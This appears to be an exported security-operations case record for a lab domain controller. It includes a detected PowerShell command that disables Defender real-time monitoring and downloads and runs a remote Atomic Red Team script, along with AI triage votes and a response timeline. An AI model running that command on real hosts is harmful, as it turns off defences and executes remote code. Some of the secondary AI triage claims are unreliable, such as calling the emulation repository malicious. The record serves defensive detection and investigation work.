โ
Case #537
general.RealTime Monitoring Tampering
๐ท๏ธ Analyst Verdict Classification
TP by analyst๐ค AI Analysis
๐ Detections (1)
Realtime Monitoring Tampering
high
Rule: general.RealTime Monitoring Tampering
Hostname: df-labsdc01.dflabs.local ยท Sensor: e4a1c62d-4d1f-44...
Event Type: NEW_PROCESS
Confidence: 88% ยท Verdict: true positive
Event Data:
BASE_ADDRESS:
140694944940032
COMMAND_LINE:
PowerShell.exe Set-ExecutionPolicy Unrestricted ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ; Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force; Set-MpPreference -DisableRealtimeMonitoring $true ; IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing) ; Install-AtomicRedTeam -Force -getAtomics; Invoke-AtomicTest T1115 -CheckPrereqs ; Invoke-AtomicTest T1115 -GetPrereqs ; Invoke-AtomicTest T1115
FILE_IS_SIGNED:
1
FILE_PATH:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HASH:
de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c
MEMORY_USAGE:
150003712
PARENT:
{'BASE_ADDRESS': 140698856259584, 'COMMAND_LINE': 'cmd.exe /C C:\\Windows\\TEMP\\pld84DF.tmp.bat T1115 ', 'FILE_IS_SIGNED': 1, 'FILE_PATH': 'C:\\Windows\\System32\\cmd.exe', 'HASH': '3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a3785476b482c9c0d32ea2', 'MEMORY_USAGE': 4497408, 'PARENT_ATOM': 'd2b1ecad7af81b32ac16ae0d69c2a7fe', 'PARENT_PROCESS_ID': 3496, 'PROCESS_ID': 644, 'THIS_ATOM': 'f6c3ef3bd7e0803778897af369c2a83c', 'THREADS': 3, 'TIMESTAMP': 1774364731328, 'USER_NAME': 'NT AUTHORITY\\SYSTEM'}
PARENT_PROCESS_ID:
644
PROCESS_ID:
4708
THREADS:
31
USER_NAME:
NT AUTHORITY\SYSTEM
IOCs:
Set-MpPreference -DisableRealtimeMonitoring $true
https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1
Invoke-AtomicTest T1115
MITRE:
T1562.001
T1115
T1059.001
Analyst Declaration:
๐ Raw Detection JSON
{
"author": "ckeller@fusioncybersecurity.us",
"cat": "Realtime Monitoring Tampering",
"detect": {
"event": {
"BASE_ADDRESS": 140694944940032,
"COMMAND_LINE": "PowerShell.exe Set-ExecutionPolicy Unrestricted ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ; Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force; Set-MpPreference -DisableRealtimeMonitoring $true ; IEX (IWR \u0027https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1\u0027 -UseBasicParsing) ; Install-AtomicRedTeam -Force -getAtomics; Invoke-AtomicTest T1115 -CheckPrereqs ; Invoke-AtomicTest T1115 -GetPrereqs ; Invoke-AtomicTest T1115 ",
"FILE_IS_SIGNED": 1,
"FILE_PATH": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"HASH": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
"MEMORY_USAGE": 150003712,
"PARENT": {
"BASE_ADDRESS": 140698856259584,
"COMMAND_LINE": "cmd.exe /C C:\\Windows\\TEMP\\pld84DF.tmp.bat T1115 ",
"FILE_IS_SIGNED": 1,
"FILE_PATH": "C:\\Windows\\System32\\cmd.exe",
"HASH": "3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a3785476b482c9c0d32ea2",
"MEMORY_USAGE": 4497408,
"PARENT_ATOM": "d2b1ecad7af81b32ac16ae0d69c2a7fe",
"PARENT_PROCESS_ID": 3496,
"PROCESS_ID": 644,
"THIS_ATOM": "f6c3ef3bd7e0803778897af369c2a83c",
"THREADS": 3,
"TIMESTAMP": 1774364731328,
"USER_NAME": "NT AUTHORITY\\SYSTEM"
},
"PARENT_PROCESS_ID": 644,
"PROCESS_ID": 4708,
"THREADS": 31,
"USER_NAME": "NT AUTHORITY\\SYSTEM"
},
"routing": {
"arch": 2,
"did": "",
"event_id": "96ec0659-ba2c-487d-b344-3557fc700570",
"event_time": 1774364731901,
"event_type": "NEW_PROCESS",
"ext_ip": "67.60.122.240",
"hostname": "df-labsdc01.dflabs.local",
"iid": "47501359-645e-4049-906e-e6195da7afcf",
"int_ip": "192.168.45.129",
"latency": 3226,
"moduleid": 2,
"oid": "ad19afae-3759-4207-b06e-8648b225c455",
"parent": "f6c3ef3bd7e0803778897af369c2a83c",
"plat": 268435456,
"sid": "e4a1c62d-4d1f-4472-bae4-43291246b4d4",
"tags": [
"domain-controller",
"fusion-soc-alert",
"fusion-soc-case",
"fusion-soc-pulled",
"fusion-soc-triage"
],
"this": "abf4184fcffb7c87575b024b69c2a83e"
}
},
"detect_id": "8cb5b1a3-22ef-4905-adca-1b4b69c2a83f",
"gen_time": 1774364735129,
"link": "https://app.limacharlie.io/orgs/ad19afae-3759-4207-b06e-8648b225c455/sensors/e4a1c62d-4d1f-4472-bae4-43291246b4d4/timeline?time=1774364731\u0026selected=abf4184fcffb7c87575b024b69c2a83e",
"namespace": "general",
"routing": {
"arch": 2,
"did": "",
"event_id": "96ec0659-ba2c-487d-b344-3557fc700570",
"event_time": 1774364731901,
"event_type": "NEW_PROCESS",
"ext_ip": "67.60.122.240",
"hostname": "df-labsdc01.dflabs.local",
"iid": "47501359-645e-4049-906e-e6195da7afcf",
"int_ip": "192.168.45.129",
"latency": 3226,
"moduleid": 2,
"oid": "ad19afae-3759-4207-b06e-8648b225c455",
"parent": "f6c3ef3bd7e0803778897af369c2a83c",
"plat": 268435456,
"sid": "e4a1c62d-4d1f-4472-bae4-43291246b4d4",
"tags": [
"domain-controller",
"fusion-soc-alert",
"fusion-soc-case",
"fusion-soc-pulled",
"fusion-soc-triage"
],
"this": "abf4184fcffb7c87575b024b69c2a83e"
},
"source": "ad19afae-3759-4207-b06e-8648b225c455.47501359-645e-4049-906e-e6195da7afcf.e4a1c62d-4d1f-4472-bae4-43291246b4d4.10000000.2",
"source_rule": "general.RealTime Monitoring Tampering",
"ts": 1774364735000
}
๐ Threat Intel JSON
{
"virustotal": {
"malicious": false,
"provider": "virustotal",
"reputation": 73,
"stats": {
"confirmed-timeout": 0,
"failure": 0,
"harmless": 0,
"malicious": 0,
"suspicious": 0,
"timeout": 0,
"type-unsupported": 4,
"undetected": 72
}
}
}
๐ค Triage JSON
{
"confidence": 0.883,
"false_positive_reason": null,
"investigation_questions": [
"Was this testing part of a scheduled security exercise?",
"Has the real-time monitoring been restored on df-labsdc01?",
"Are there other Atomic tests currently running on this sensor?"
],
"ioc_analysis": "The PowerShell command line contains clear indicators of adversary emulation: specifically, the installation of Atomic Red Team and the disabling of Windows Defender real-time monitoring. The hash for powershell.exe is a known-good Microsoft binary, but the actions performed are high-risk security control tampering.",
"iocs_extracted": [
"Set-MpPreference -DisableRealtimeMonitoring $true",
"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1",
"Invoke-AtomicTest T1115"
],
"mitre_techniques": [
"T1562.001",
"T1115",
"T1059.001"
],
"recommended_actions": [
"Manual analyst review required \u2014 AI models (majority)",
"Confirm authorization for Atomic Red Team testing on the domain controller.",
"Verify that real-time monitoring has been re-enabled following the test completion.",
"Monitor for any subsequent execution of compiled code (csc.exe/cvtres.exe) which may follow the initial ART installation."
],
"risk_score": 80,
"severity": "high",
"summary": "**Vote: MAJORITY (2/3 -\u003e TRUE POSITIVE)**\n\n### \u264a gemini-cli Analysis (Primary)\n**Verdict:** true_positive | **Confidence:** 1.0\nThe detection identifies an explicit command to disable Microsoft Defender real-time monitoring via PowerShell (\u0027Set-MpPreference -DisableRealtimeMonitoring $true\u0027). This command was executed as part of an Atomic Red Team (ART) test (T1115 - Screen Capture) initiated via a batch script in C:\\Windows\\TEMP on a domain controller (df-labsdc01).\n\n**IOC Analysis:** The PowerShell command line contains clear indicators of adversary emulation: specifically, the installation of Atomic Red Team and the disabling of Windows Defender real-time monitoring. The hash for powershell.exe is a known-good Microsoft binary, but the actions performed are high-risk security control tampering.\n\n---\n\n### \ud83e\udd16 qwen3.5:4b Analysis (Secondary)\n**Verdict:** true_positive | **Confidence:** 0.95\nThis event represents a confirmed malicious activity where an attacker is disabling real-time monitoring and deploying the Atomic Red Team framework via PowerShell under SYSTEM privileges. The command explicitly disables Microsoft Defender\u0027s real-time protection and downloads code from a known malicious GitHub repository.\n\n**IOC Analysis:** The process path C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe is legitimate, but the command line contains clear indicators of compromise including disabling real-time monitoring (Set-MpPreference), downloading and executing remote code from a known malicious source (redcanaryco/invoke-atomicredteam), and invoking Atomic Red Team tests for T1115 (Execution). The use of SYSTEM privileges combined with these actions confirms malicious intent rather than benign system maintenance.\n\n---\n\n### \ud83e\udd16 deepseek-r1:8b Analysis (Secondary)\n**Verdict:** suspicious | **Confidence:** 0.7\nThe detection involves a legitimate PowerShell process from C:\\Windows\\System32, but the command line attempts to disable real-time monitoring and download scripts from GitHub, which is suspicious and could indicate evasion tactics.\n\n**IOC Analysis:** The FILE_PATH C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe is a known-good Windows binary location, and the hash matches a Microsoft-signed PowerShell executable. However, the command line includes actions to change execution policy, disable real-time monitoring, and download scripts from external sources, which deviates from normal system behavior and raises suspicion.",
"verdict": "true_positive",
"voting": {
"auto_action": "manual_review",
"mode": "majority",
"total_models": 3,
"vote_summary": [
"gemini-cli: true_positive (high, 100% confidence)",
"qwen3.5:4b: true_positive (critical, 95% confidence)",
"deepseek-r1:8b: suspicious (high, 70% confidence)"
],
"votes": [
{
"confidence": 1.0,
"model": "gemini-cli",
"verdict": "true_positive"
},
{
"confidence": 0.95,
"model": "qwen3.5:4b",
"verdict": "true_positive"
},
{
"confidence": 0.7,
"model": "deepseek-r1:8b",
"verdict": "suspicious"
}
],
"winning_count": 2,
"winning_verdict": "true_positive"
}
}
โ๏ธ Response Actions
| Action | Target | Status | Result | |
|---|---|---|---|---|
| tag | failed | 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | Network Activity Investigation: 50 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | File Activity Investigation: 0 events found | ||
| tag | failed | 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| tag | failed | 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found | ||
| recommended | executed | General Activity Sweep: 0 events found |
๐ Add Note
๐ฌ Notes (14)
๐ค FusionSOC AI
2026-03-24T20:58
๐ค FusionSOC AI
2026-03-24T20:58
๐ค FusionSOC AI
2026-03-24T20:58
๐ค FusionSOC AI
2026-03-24T20:58
๐ค FusionSOC AI
2026-03-24T19:07
๐ค FusionSOC AI
2026-03-24T19:07
๐ค FusionSOC AI
2026-03-24T19:07
๐ค FusionSOC AI
2026-03-24T19:07
๐ค FusionSOC AI
2026-03-24T18:19
๐ค FusionSOC AI
2026-03-24T18:19
๐ค FusionSOC AI
2026-03-24T18:19
๐ค FusionSOC AI
2026-03-24T18:19
๐ค FusionSOC AI
2026-03-24T18:19
๐ค FusionSOC AI
2026-03-24T18:19
๐ Timeline
2026-03-24T22:27:38
analyst
Status changed: investigating โ closed
2026-03-24T22:27:34
analyst
Analyst classified as True Positive (TP)
2026-03-24T20:58:35
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T20:58:35
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T20:58:35
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Monitor for any subsequent execution of compiled code (csc.exe/cvtres.exe) which...
2026-03-24T20:58:35
FusionSOC
Response action queued: recommended on Monitor for any subsequent execution of compiled code (csc.exe/cvtres.exe) which may follow the initial ART installation.
2026-03-24T20:58:35
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T20:58:35
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T20:58:35
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Verify that real-time monitoring has been re-enabled following the test completi...
2026-03-24T20:58:35
FusionSOC
Response action queued: recommended on Verify that real-time monitoring has been re-enabled following the test completion.
2026-03-24T20:58:35
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T20:58:35
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T20:58:35
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Confirm authorization for Atomic Red Team testing on the domain controller. **Se...
2026-03-24T20:58:34
FusionSOC
Response action queued: recommended on Confirm authorization for Atomic Red Team testing on the domain controller.
2026-03-24T20:58:34
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T20:58:34
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T20:58:34
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Manual analyst review required โ AI models (majority) **Sensor:** `e4a1c62d-4d1f...
2026-03-24T20:58:34
FusionSOC
Response action queued: recommended on Manual analyst review required โ AI models (majority)
2026-03-24T20:58:34
FusionSOC
Action tag โ failed: 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated
2026-03-24T20:58:34
FusionSOC
Response action queued: tag on e4a1c62d-4d1f-4472-bae4-43291246b4d4:fusionsoc-investigated
2026-03-24T19:07:12
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T19:07:12
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T19:07:12
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Audit the host for any secondary payloads or unauthorized changes. **Sensor:** `...
2026-03-24T19:07:11
FusionSOC
Response action queued: recommended on Audit the host for any secondary payloads or unauthorized changes.
2026-03-24T19:07:11
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T19:07:11
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T19:07:11
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Ensure real-time monitoring is re-enabled post-test. **Sensor:** `e4a1c62d-4d1f-...
2026-03-24T19:07:11
FusionSOC
Response action queued: recommended on Ensure real-time monitoring is re-enabled post-test.
2026-03-24T19:07:11
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T19:07:11
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T19:07:11
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Confirm authorization for security testing on this host. **Sensor:** `e4a1c62d-4...
2026-03-24T19:07:11
FusionSOC
Response action queued: recommended on Confirm authorization for security testing on this host.
2026-03-24T19:07:11
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T19:07:11
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T19:07:11
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Manual analyst review required โ AI models (majority) **Sensor:** `e4a1c62d-4d1f...
2026-03-24T19:07:10
FusionSOC
Response action queued: recommended on Manual analyst review required โ AI models (majority)
2026-03-24T19:07:10
FusionSOC
Action tag โ failed: 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated
2026-03-24T19:07:10
FusionSOC
Response action queued: tag on e4a1c62d-4d1f-4472-bae4-43291246b4d4:fusionsoc-investigated
2026-03-24T18:19:47
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T18:19:47
FusionSOC
Action recommended โ executed: File Activity Investigation: 0 events found
2026-03-24T18:19:47
FusionSOC AI
Note by FusionSOC AI: ## ๐ File Activity Investigation **Action:** Perform a full forensic analysis on the file 'C:\Windows\TEMP\pld84DF.tmp.b...
2026-03-24T18:19:45
FusionSOC
Response action queued: recommended on Perform a full forensic analysis on the file 'C:\Windows\TEMP\pld84DF.tmp.bat' to identify the source of the initial execution.
2026-03-24T18:19:45
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T18:19:45
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T18:19:45
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Re-enable Windows Defender Real-time Monitoring and verify the integrity of all ...
2026-03-24T18:19:45
FusionSOC
Response action queued: recommended on Re-enable Windows Defender Real-time Monitoring and verify the integrity of all security agents on the host.
2026-03-24T18:19:45
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T18:19:45
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T18:19:45
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Confirm with the security or DevOps team if an authorized penetration test or se...
2026-03-24T18:19:44
FusionSOC
Response action queued: recommended on Confirm with the security or DevOps team if an authorized penetration test or security validation exercise was scheduled.
2026-03-24T18:19:44
FusionSOC AI
Status changed: investigating โ investigating
2026-03-24T18:19:44
FusionSOC
Action recommended โ executed: Network Activity Investigation: 50 events found
2026-03-24T18:19:44
FusionSOC AI
Note by FusionSOC AI: ## ๐ Network Activity Investigation **Action:** Immediately isolate the host from the network to prevent further unautho...
2026-03-24T18:19:44
FusionSOC
Response action queued: recommended on Immediately isolate the host from the network to prevent further unauthorized activity.
2026-03-24T18:19:44
FusionSOC AI
Status changed: open โ investigating
2026-03-24T18:19:44
FusionSOC
Action recommended โ executed: General Activity Sweep: 0 events found
2026-03-24T18:19:44
FusionSOC AI
Note by FusionSOC AI: ## ๐ General Activity Sweep **Action:** Manual analyst review required โ AI models (majority) **Sensor:** `e4a1c62d-4d1f...
2026-03-24T18:19:43
FusionSOC
Response action queued: recommended on Manual analyst review required โ AI models (majority)
2026-03-24T18:19:43
FusionSOC
Action tag โ failed: 401 Client Error: Unauthorized for url: https://api.limacharlie.io/v1/e4a1c62d-4d1f-4472-bae4-43291246b4d4/tags?tags=fusionsoc-investigated
2026-03-24T18:19:43
FusionSOC
Response action queued: tag on e4a1c62d-4d1f-4472-bae4-43291246b4d4:fusionsoc-investigated
2026-03-24T18:19:43
FusionSOC AI
Detection 8cb5b1a3-22ef-4905-adca-1b4b69c2a83f triaged as true_positive (high severity, confidence: 92%)
2026-03-24T18:19:43
FusionSOC AI
Case created from detection: general.RealTime Monitoring Tampering